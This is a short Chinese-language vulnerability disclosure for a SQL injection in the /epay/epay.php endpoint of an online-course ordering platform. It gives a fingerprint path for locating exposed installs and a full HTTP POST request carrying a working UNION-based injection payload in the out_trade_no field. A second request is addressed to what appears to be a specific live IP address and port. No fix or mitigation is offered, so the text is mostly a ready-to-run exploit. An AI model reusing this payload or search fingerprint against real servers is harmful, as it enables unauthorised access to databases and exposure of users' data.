网课交单平台epay存在SQL注入漏洞
一、漏洞简介
网课交单平台是一款和发卡网对接的网课代学平台，拥有聚合支付，论文编辑等功能，其后台的可用性及可靠性得到了使用者的认可。网课交单平台某接口存在SQL注入漏洞。攻击者可以通过构造恶意的SQL语句，成功注入并执行恶意数据库操作，可能导致敏感信息泄露、数据库被篡改或其他严重后果。
二、影响版本
- 网课交单平台
三、资产测绘
"/apisub.php"
四、漏洞复现
POST /epay/epay.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1
out_trade_no=' UNION ALL SELECT 1,CONCAT(IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),3,4,5,6,7,8,9,10,11,12,13-- -
POST /epay/epay.php HTTP/1.1
Host: 101.33.219.180:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1
out_trade_no=1